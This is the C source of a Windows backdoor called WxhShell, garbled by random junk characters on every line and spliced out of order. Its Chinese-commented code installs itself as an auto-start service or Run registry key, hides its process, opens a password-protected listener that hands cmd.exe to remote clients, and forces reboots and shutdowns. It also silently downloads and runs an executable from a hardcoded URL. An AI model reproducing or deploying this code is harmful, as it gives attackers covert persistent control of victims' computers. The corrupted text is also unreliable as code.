    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XA{ tVh  
    if(Boot(SHUTDOWN)) K"1xtpy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >G<AyS&z*  
    else { zH8l-0I+$  
    closesocket(wsh); JZ&]"12]fR  
    ExitThread(0); V ^=o@I  
    } +<Ot@luE  
    break; =8 d`qS"  
    } ): C4"2l3  
  // 获取shell {{ M?+]p,^  
  case 's': { +0;n t  
    CmdShell(wsh); .H+`]qLkL  
    closesocket(wsh); 6/9 A'!4C  
    ExitThread(0); aX6.XHWbDf  
    break; NL))!Pi  
  } Zk2-U"0\o  
  // 退出 VF=$'Bl|  
  case 'x': { dI&2dcumS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  5I5~GH  
    CloseIt(wsh); ]SpUD  
    break; kEWC  
    } ymybj  
  // 离开 e-f_ #!bW  
  case 'q': { $@q)IK%FDL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +\9Y;N y  
    closesocket(wsh); 5B| iBS l  
    WSACleanup(); Gs2.}l z  
    exit(1); 0o[p<<c*  
    break; cYdk,N  
        } {U4BPKof  
  } |{]\n/M  
  } o9~Z! &p  
KcP86H52I  
  // 提示信息 S'vi +_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nn$,|/  
} D %~s  
  } >1xlP/4jx  
he&*N*of:  
  return; M~;Ww-./  
} hRSRz5 J}  
t#oJr2  
// shell模块句柄 zzy%dc  
int CmdShell(SOCKET sock) H-?SlVsf  
{ a9}cpfG=)  
STARTUPINFO si; y!fV+S,  
ZeroMemory(&si,sizeof(si)); {PGNPxUbe  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e4Ol:V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u*Eb4  
PROCESS_INFORMATION ProcessInfo; /r Zj=  
char cmdline[]="cmd"; "YHqls}c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IX;u+B  
  return 0; d_Ll,*J9  
} 30g-J(Zg  
)Z0pU\  
// 自身启动模式  V3K  
int StartFromService(void) Ab -uK|<  
{ om$)8'A,l  
typedef struct v"6q!  
{ ^,'!j/w5  
  DWORD ExitStatus; SfQ ,uD6  
  DWORD PebBaseAddress; ?n>h/[/  
  DWORD AffinityMask; )#Ea~>v  
  DWORD BasePriority; 5YMjvhr?W  
  ULONG UniqueProcessId; He. gl  
  ULONG InheritedFromUniqueProcessId; UyBI;k^]  
}   PROCESS_BASIC_INFORMATION; W"YFx*W  
uG&xtN8  
PROCNTQSIP NtQueryInformationProcess; 8a|p`)lT  
s2riayM9/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XKLkJZN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [GZ%K`wx  
xl@l<  
  HANDLE             hProcess; ,*8}TIS(s  
  PROCESS_BASIC_INFORMATION pbi; yb56nd  
wz31e!/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6",1JH,;p  
  if(NULL == hInst ) return 0; <i`Ipj  
=l&7~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y} AkF2:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mu04TPj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7qq}wR]]  
0RN]_z$;H  
  if (!NtQueryInformationProcess) return 0; z%(m:/N70  
1XU sr;Wz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0sto9n3  
  if(!hProcess) return 0; _a"5[sG  
:84fd\It4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f"q='B9_T\  
Wd?(B4{  
  CloseHandle(hProcess); ?kX$Y{M}  
4a00-y='  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +'Pf|S  
if(hProcess==NULL) return 0; p]:5S_$  
#GT/Q3{C  
HMODULE hMod; u)y6$  
char procName[255]; J,%v`A~ N  
unsigned long cbNeeded; yYwZZa1  
b;`gxXeL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lhva|  
bEyZRG  
  CloseHandle(hProcess); .&=nP?ZPC6  
fI;6!M#  
if(strstr(procName,"services")) return 1; // 以服务启动 T?{"T/  
5ycccMx0V  
  return 0; // 注册表启动 ,IF3VE&r  
} PsMoH/+"  
4,!#E0  
// 主模块 Hly2{hokq  
int StartWxhshell(LPSTR lpCmdLine) @~hiL(IR'  
{ j[k&O)A{C  
  SOCKET wsl; A 'rfoA6  
BOOL val=TRUE; Z0s}65BR  
  int port=0; pca `nN!  
  struct sockaddr_in door; <43O,Kx'Su  
d}j%. JJK  
  if(wscfg.ws_autoins) Install(); 3#`_t :"A  
C|bnUN  
port=atoi(lpCmdLine); x>d,\{U  
zBtlkBPu  
if(port<=0) port=wscfg.ws_port; P!3)-apP\  
IWERn v!  
  WSADATA data; .(^KA{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b^_#f:_j  
A^nB!veh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3Cmbt_WV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eG* <=.E  
  door.sin_family = AF_INET; Y|FF ;[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q}p&<k  
  door.sin_port = htons(port);  yaza  
P~`gWGC}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @?lmho?  
closesocket(wsl); ]Qm$S5tU  
return 1; d,AEV_  
} `w';}sQA7  
bYQvh/(J  
  if(listen(wsl,2) == INVALID_SOCKET) { 0F> ils  
closesocket(wsl); "c` $U]M%  
return 1; _ dEc? R}  
} FOVghq@  
  Wxhshell(wsl); }vzP\  
  WSACleanup(); Q$_y +[  
#{KYsDtvx  
return 0; |fqYMhA U  
2%P{fJbwd  
} A?V}$PTlx  
6U~AKq"+f  
// 以NT服务方式启动 ZFwUau  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uNSaw['0j  
{ "`HkAW4GZa  
DWORD   status = 0; 4Bg"b/kF  
  DWORD   specificError = 0xfffffff; sh;DCd  
_W]R|kYl$'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (37dD!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t66Cx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }#):ZPTs  
  serviceStatus.dwWin32ExitCode     = 0; YbAa@Sq@  
  serviceStatus.dwServiceSpecificExitCode = 0; '/M9V{DD88  
  serviceStatus.dwCheckPoint       = 0; Wd "<u2  
  serviceStatus.dwWaitHint       = 0; l7#5.%A  
VZuluV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !*Ex}K99  
  if (hServiceStatusHandle==0) return; E| eEAa  
BV)o F2b:  
status = GetLastError(); ZD!?mR+-  
  if (status!=NO_ERROR) q_iPWmf p*  
{ X)7_@,7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kq|(t{@Rp  
    serviceStatus.dwCheckPoint       = 0; N~NUBEKcp  
    serviceStatus.dwWaitHint       = 0; 9#(Nd, m})  
    serviceStatus.dwWin32ExitCode     = status; *{WhUHZF  
    serviceStatus.dwServiceSpecificExitCode = specificError; SFqY*:svOw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nl/^ga  
    return; @cYb37)q=  
  } W D8  
j=|cx+nb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MX Qua:&HW  
  serviceStatus.dwCheckPoint       = 0; IE*eDj  
  serviceStatus.dwWaitHint       = 0; xs#g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >,%or cN  
} #<h//<  
n vzk P{  
// 处理NT服务事件,比如:启动、停止 }fC=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :Kq]b@ X  
{ NJ]AxFG  
switch(fdwControl) `>ppDQaS)W  
{ H!SFSgAu  
case SERVICE_CONTROL_STOP: IQZ/8UwB  
  serviceStatus.dwWin32ExitCode = 0; o6bT.{8\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }jE [vVlRw  
  serviceStatus.dwCheckPoint   = 0; OHRkhwF.  
  serviceStatus.dwWaitHint     = 0; d{/#A%.  
  { !ZxK+Xqx[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M02 U,!di  
  } tKS'#y!R  
  return; F/%M`?m"ie  
case SERVICE_CONTROL_PAUSE: oRkh>yj'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U80h0t%  
  break; `:b*#@  
case SERVICE_CONTROL_CONTINUE: vJ,r}$H3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I<+EXH%1,  
  break; lKdd3W"o  
case SERVICE_CONTROL_INTERROGATE: WwDd62g  
  break; @ T.+:U@S  
}; J2 ZV\8t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ohU}ST:9  
} [L m  
r>ziQq8C&  
// 标准应用程序主函数 X!xmto  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gN@|lHbU  
{ 52,[dP,g  
Am ~P$dN  
// 获取操作系统版本 B,S~Idr}  
OsIsNt=GetOsVer(); bZ 0{wpeK=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C))x#P36  
-UB XWl  
  // 从命令行安装 ;cEoc(<?  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;F_pF+&q  
gpw,bV  
  // 下载执行文件 %6.WGuO  
if(wscfg.ws_downexe) { rdH3!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m?O~(6k@C  
  WinExec(wscfg.ws_filenam,SW_HIDE); .Gt_~x  
} 6?(yMSKa  
3N[Rrxe2  
if(!OsIsNt) { Ce/l[v  
// 如果时win9x,隐藏进程并且设置为注册表启动 xovsh\s  
HideProc(); MxgJ+  
StartWxhshell(lpCmdLine); zq(4@S-TU  
} *^oL$_Y  
else 4`e[gvh  
  if(StartFromService()) q6'Q-e)  
  // 以服务方式启动 !8e;3W  
  StartServiceCtrlDispatcher(DispatchTable); -e4TqzRr  
else 1*GL;W~ix*  
  // 普通方式启动 d{J@A;d a  
  StartWxhshell(lpCmdLine); ?}e^-//*i  
"&:H }Jd  
return 0; xx@[ecW  
} hmkm^2  
,njlKkFw^Z  
9OYyR  
boq=@Qh  
=========================================== XL[Dmu&  
%Q]3`kxp  
^H0#2hFa  
OO2uE ;( 3  
S]&:R)#@  
c)3.AgT  
" {'p < o$(S  
b:5-0uxjs  
#include <stdio.h> k|,Y_h0Y  
#include <string.h> U8.V Rn  
#include <windows.h> jF@BWPtF=  
#include <winsock2.h> JZdRAL2#v  
#include <winsvc.h> efNscgi  
#include <urlmon.h> K491QXG  
XV}}A ^  
#pragma comment (lib, "Ws2_32.lib") 5sANF9o!  
#pragma comment (lib, "urlmon.lib") %:s+5*SKe  
Ld 0*)rI#  
#define MAX_USER   100 // 最大客户端连接数 Lf)JO|o  
#define BUF_SOCK   200 // sock buffer d#OAM;0}5  
#define KEY_BUFF   255 // 输入 buffer d_,Ql708f  
!w}b}+]GB  
#define REBOOT     0   // 重启 ;W T<]  
#define SHUTDOWN   1   // 关机 f^-ot@w  
;F|#m,2Q-  
#define DEF_PORT   5000 // 监听端口 km*Y#`{  
hVz] wKP  
#define REG_LEN     16   // 注册表键长度 "O'c.v?{x  
#define SVC_LEN     80   // NT服务名长度 182g6/,  
O/U?Wq  
// 从dll定义API :>iN#)S  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z3yy(D>*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); UEx13!iFo  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nG";?TT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;\v&4+3S  
2F+"v?n=\  
// wxhshell配置信息 ^mg:<_p  
struct WSCFG { I 12Zh7Cc:  
  int ws_port;         // 监听端口 ufe |I  
  char ws_passstr[REG_LEN]; // 口令 ?YMBZ   
  int ws_autoins;       // 安装标记, 1=yes 0=no `Se2f0",  
  char ws_regname[REG_LEN]; // 注册表键名 @t a:9wZ  
  char ws_svcname[REG_LEN]; // 服务名 :%z#s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zYP6m3 n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }SC&6B?G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6J\ 2 =c`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }L(ZLt8Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y0Tad?iC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a4.w2GR  
n"`V| UTHP  
}; :tbgX;tCs5  
5S8>y7knQ  
// default Wxhshell configuration  H~TuQ  
struct WSCFG wscfg={DEF_PORT, L2p?] :-  
    "xuhuanlingzhe", 064k;|>D  
    1, RcO"k3J  
    "Wxhshell", $E&T6=Wn  
    "Wxhshell", F3qCtx *N  
            "WxhShell Service", c~4Cpy^  
    "Wrsky Windows CmdShell Service", ZY8w1:'  
    "Please Input Your Password: ", tkH]_cH'w  
  1, g^Hf^%3xP  
  "http://www.wrsky.com/wxhshell.exe", qTK(sW  
  "Wxhshell.exe" %W8iC%~  
    }; /7])]vZ_  
Ka6u*:/  
// 消息定义模块 I`(53LCqo  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `Th~r&GvF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (6B;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %.hJDX\j  
char *msg_ws_ext="\n\rExit."; OX'V  
char *msg_ws_end="\n\rQuit."; Y6&v&dA;  
char *msg_ws_boot="\n\rReboot..."; 'YB[4Q /0  
char *msg_ws_poff="\n\rShutdown..."; PJ; WNo8  
char *msg_ws_down="\n\rSave to "; 5+11J[~{  
(c)=Do=  
char *msg_ws_err="\n\rErr!"; 8HFCmY#  
char *msg_ws_ok="\n\rOK!"; ?_FL 'G  
V'e%%&g~N  
char ExeFile[MAX_PATH]; g5y`XFY  
int nUser = 0; Wlxmp['Bh  
HANDLE handles[MAX_USER]; 0VcHz$ 6  
int OsIsNt; } A+ncabm  
"T_9_6tH  
SERVICE_STATUS       serviceStatus; a7c`[   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \c<;!vkZ04  
rH!sImz,  
// 函数声明 _]33Ht9  
int Install(void); ~Ni  
int Uninstall(void); |,@D <  
int DownloadFile(char *sURL, SOCKET wsh); MOK}:^bSu  
int Boot(int flag); O-HS)g$2  
void HideProc(void); &BLCP d  
int GetOsVer(void); J}&Us p  
int Wxhshell(SOCKET wsl); ,{!,%]bC  
void TalkWithClient(void *cs); qF4tjza;k  
int CmdShell(SOCKET sock); "d:rPJT)(@  
int StartFromService(void); W03mdRW  
int StartWxhshell(LPSTR lpCmdLine); 'KIT^k0"Ih  
C{}PO u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bJetqF6 n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X5YOxMq  
t$(#$Z,RS  
// 数据结构和表定义 [:.wCG5  
SERVICE_TABLE_ENTRY DispatchTable[] = |,p"<a!+{w  
{ WM`3QJb  
{wscfg.ws_svcname, NTServiceMain}, COsmVQ.  
{NULL, NULL} J/'Fj?  
}; g kO^J{_@q  
},j |eA/W  
// 自我安装 9c[X[ Qc  
int Install(void) W,NqevXo:  
{ `X5!s  
  char svExeFile[MAX_PATH]; 2=- .@,6  
  HKEY key; jhm/ <=  
  strcpy(svExeFile,ExeFile); wv\K  
3!b $R?kZ  
// 如果是win9x系统,修改注册表设为自启动 $/s"It  
if(!OsIsNt) { lwq:0Rj@Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  s[{[pIH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nf^?X`g  
  RegCloseKey(key); S?d<P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /^AH/,p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =4MTb_  
  RegCloseKey(key); ]CF-#q}'  
  return 0; ppRmC,0f^  
    } g5@JA^\vZT  
  } TL2E|@k1]  
} @>Yd6C  
else { R1X'}#mU  
sJ|pR=g)!  
// 如果是NT以上系统,安装为系统服务  >9!J?HA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mFF4qbe  
if (schSCManager!=0) ^T!Zz"/:  
{ ,_u7@Ix  
  SC_HANDLE schService = CreateService  I8?  
  ( Q__CW5&'u  
  schSCManager, YK)m6zW5  
  wscfg.ws_svcname, gMI%!Y  
  wscfg.ws_svcdisp, }yK7LooM  
  SERVICE_ALL_ACCESS, wHbkF#[:i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wx*?@f>u^  
  SERVICE_AUTO_START, Q"dq_8\`U  
  SERVICE_ERROR_NORMAL, M !'d  
  svExeFile, u:f ]|Q  
  NULL, ,fp+nu8,  
  NULL, gLX<> |)*  
  NULL, 4HGT gS  
  NULL, i8V\x>9  
  NULL HpEd$+Mz  
  ); L]H'$~xx*  
  if (schService!=0) [*^.$s(  
  { ,gVVYH?qR  
  CloseServiceHandle(schService); DLrV{8%W  
  CloseServiceHandle(schSCManager); E xhih^[_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); MvpJ0Y (  
  strcat(svExeFile,wscfg.ws_svcname); RG{T\9]n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zuLW'a6F-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K khuPBd2  
  RegCloseKey(key); rNq* z,  
  return 0; KkZx6A)$u  
    } iSCkV2  
  } `-uE(qp  
  CloseServiceHandle(schSCManager); ^wolY0p  
} gS~H1Ro  
} !G-+O#W`  
@}H u)HO  
return 1; ;stuTj@vH  
} k`m7j[A]l  
+r3)\L{U  
// 自我卸载 oIE 1j?  
int Uninstall(void) mcV<)UA}  
{ _/LGGt4&%  
  HKEY key; f\hMTebma$  
]?4;Lw  
if(!OsIsNt) { ~o!- [  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Vx$;wU Y  
  RegDeleteValue(key,wscfg.ws_regname); J =^IS\m  
  RegCloseKey(key); =:&xdphZ+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .J75bX5  
  RegDeleteValue(key,wscfg.ws_regname); b]]8Vs)'  
  RegCloseKey(key); J#..xJ?XRD  
  return 0; ;\*3A22 #  
  } 8:{id>Mm^  
} 77@N79lqO  
} !"F;wg$  
else { ,/w*sE  
3%+ ~"4&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "Au4&Fu  
if (schSCManager!=0) KrpIH6  
{ "r&,#$6W6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P$obID  
  if (schService!=0) k4ti#3W5eG  
  { Bz ;r<Kn  
  if(DeleteService(schService)!=0) { bgor W"'  
  CloseServiceHandle(schService); wD9K\%jIr!  
  CloseServiceHandle(schSCManager); N_c44[z 1  
  return 0; 7'IIB1v.\  
  } Q~ U\f$N  
  CloseServiceHandle(schService); j?2~6W/[  
  } ({!!b"B2  
  CloseServiceHandle(schSCManager); ""-wM~^D  
} }YDi/b7  
} %)lp]Y33  
3IMvtg  
return 1; [ \_o_W  
} L0wT:x*  
^o3,YH  
// 从指定url下载文件 eq6O6-  
int DownloadFile(char *sURL, SOCKET wsh) |R9Lben',  
{ ~*iF`T6  
  HRESULT hr; e#C v*i_<  
char seps[]= "/"; zgAU5cw  
char *token; Pzso^^g  
char *file; d)AYY}pw  
char myURL[MAX_PATH]; h0PDFMM<  
char myFILE[MAX_PATH]; *9j'@2!M  
8S1@,O,  
strcpy(myURL,sURL); Pp_ 4B  
  token=strtok(myURL,seps); 7S{qo&j'  
  while(token!=NULL) L"bJ#0m  
  { fa/S!%}fO  
    file=token;  \(\a=  
  token=strtok(NULL,seps); EwPrh  
  } &ys>z<Z  
Q>{$Aqc,e  
GetCurrentDirectory(MAX_PATH,myFILE); L )JB^cxf  
strcat(myFILE, "\\"); .t@|2  
strcat(myFILE, file); t$!zgUJ  
  send(wsh,myFILE,strlen(myFILE),0); nONuw;K  
send(wsh,"...",3,0); 4eHSAN"$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,sL'T[tuiU  
  if(hr==S_OK) Z Ts*Y,  
return 0; y74Q(  
else ^@^8iZ  
return 1; ;\RV C 7  
c[Fc3  
} i6if\B  
G)7U &B  
// 系统电源模块 60+zoL'  
int Boot(int flag) 6^b)Q(Edut  
{ ukR0E4p  
  HANDLE hToken; XJ<"S p  
  TOKEN_PRIVILEGES tkp; \L*%?~  
_w\9 \<%  
  if(OsIsNt) { 6eSo.@*l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SxRJ{m~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j[r}!;O  
    tkp.PrivilegeCount = 1; -$Fj-pO\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J8:s=#5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k$kE5kh,S  
if(flag==REBOOT) { HgQjw!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !eyLh&]5  
  return 0; ;73S;IPR  
} 2)=whnFS  
else { W>pe-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JqzoF}WH  
  return 0; ^EUR#~b5iy  
} +VUkV-kP  
  } OR@ 67Y  
  else { X/4CXtX^  
if(flag==REBOOT) { X?_rD'3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WzzA:X  
  return 0; ..`c# O&  
} 1ubu~6  
else { ]K(a32VCH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,j%\3g`  
  return 0; QEJu.o  
} oZ%uq78#[%  
} bsQ'kBD  
NljpkeX'  
return 1; (ks>F=vk*  
} I*-\u  
]KFh 1  
// win9x进程隐藏模块 [5P-K{Ko  
void HideProc(void) hY4#4A`I  
{ #&|"t< }  
H:(B^uH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M1Q&)am  
  if ( hKernel != NULL ) (@^9oN~}  
  { 45JL{YRN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *Dg@fxCQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Wg}KQ6 6  
    FreeLibrary(hKernel); >|SIqB<%:  
  } hCQOwk#  
d8wGXNd7B  
return; 8>C4w 5kF  
} H9T~7e+  
v^&HZk=(  
// 获取操作系统版本 #ZZe*B!s_  
int GetOsVer(void) 'Dfs&sm  
{ 1GN^ui a7  
  OSVERSIONINFO winfo; FF8jW1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !RKuEg4hQ  
  GetVersionEx(&winfo); 3/RwCtc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;#Po}8Y=  
  return 1; ?T/4 =  
  else WM+8<|)n  
  return 0; s\d3u`G  
} <f7 O3 >  
.BP d06y  
// 客户端句柄模块 0ca0-vY  
int Wxhshell(SOCKET wsl) mlByE,S2E  
{ $oW= N   
  SOCKET wsh; w[z=x  
  struct sockaddr_in client; :%gc Sm  
  DWORD myID; ':4ny]F  
4u5j 7`O  
  while(nUser<MAX_USER) q[Ai^79  
{ aqSOC(jU  
  int nSize=sizeof(client); oRbWqN`F.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5RLO}Vn]  
  if(wsh==INVALID_SOCKET) return 1; Szz j9K  
;<i u*a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |Y"XxM9  
if(handles[nUser]==0) Pim  
  closesocket(wsh); j([b)k=  
else 5]i#l3")  
  nUser++; IgbuMEfL  
  } 'fn}I0Vc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t]&.'n,  
j)@W1I]2#  
  return 0; CAc]SxLh  
} AON |b\?  
~?NCmU=3  
// 关闭 socket !/}4_s`,  
void CloseIt(SOCKET wsh) /o4_rzR?  
{ UA.Tp[u  
closesocket(wsh); 0Px Hf*  
nUser--; JlSqTfA  
ExitThread(0); yD<#Q\,  
} :Ou~?q%X  
6@|!m'  
// 客户端请求句柄 91z=ou  
void TalkWithClient(void *cs) jZIT[HM  
{ /[6wm1?!  
'Ft81e)/  
  SOCKET wsh=(SOCKET)cs; XB'rh F8rl  
  char pwd[SVC_LEN]; KLe6V+ki*  
  char cmd[KEY_BUFF]; ~ T}D#}  
char chr[1]; E zcch1  
int i,j; Hl$qmq  
Q^{TcL8  
  while (nUser < MAX_USER) { .EhC\QpP  
f?Ex$gnI  
if(wscfg.ws_passstr) { 2@(+l*.Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *c#DB{N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |e8A)xM]wC  
  //ZeroMemory(pwd,KEY_BUFF); 6ud?US(  
      i=0; Cnpl0rV~5  
  while(i<SVC_LEN) { K14.!m  
. x$V~t  
  // 设置超时 E `N`  
  fd_set FdRead; k8E2?kbF  
  struct timeval TimeOut; uhq6dhhR  
  FD_ZERO(&FdRead); )-+tN>Bb  
  FD_SET(wsh,&FdRead); 7'+`vt#E  
  TimeOut.tv_sec=8; kYS#P(1  
  TimeOut.tv_usec=0; /;_$:`|/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =)y$&Ydj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g,E)F90  
v0r:qku  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C=c&.-Nb9  
  pwd=chr[0]; Cdl"TZ<  
  if(chr[0]==0xd || chr[0]==0xa) { jGLmgJG-P  
  pwd=0; ~H''RzN  
  break; y2%[/L: u~  
  } em'3 8L|(  
  i++; #p"F$@N   
    } []\-*{^r  
]UO zz1   
  // 如果是非法用户,关闭 socket MeD/)T{G~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ft8  
} g?1bEOA!  
[ GknE#p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UHY)+6qt]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {(-TWh7V  
(QFZM"G  
while(1) { Z+R-}<   
GF9iK|i/  
  ZeroMemory(cmd,KEY_BUFF); iMVQt1/  
"=?JIQ  
      // 自动支持客户端 telnet标准   e>Q:j_?.e  
  j=0; \sGJs8#v][  
  while(j<KEY_BUFF) { %.[AZ>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 937<:zo:  
  cmd[j]=chr[0]; >Dv=lgPF  
  if(chr[0]==0xa || chr[0]==0xd) { H{P*d=9v  
  cmd[j]=0; /L,iF?7  
  break; \(Dm\7Q.  
  } 7OZ0;fK  
  j++; '( ETXQ@  
    } @bkSA  
k;umLyz  
  // 下载文件  K0*er  
  if(strstr(cmd,"http://")) { 6mZpyt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2QHu8mFU  
  if(DownloadFile(cmd,wsh)) aS3-A 4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1b=\l/2  
  else }8.$)&O$^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L-W*h  
  } w#(E+s~}  
  else { o) eW5s,6  
.Xta;Py|J  
    switch(cmd[0]) { cCtd\/ \  
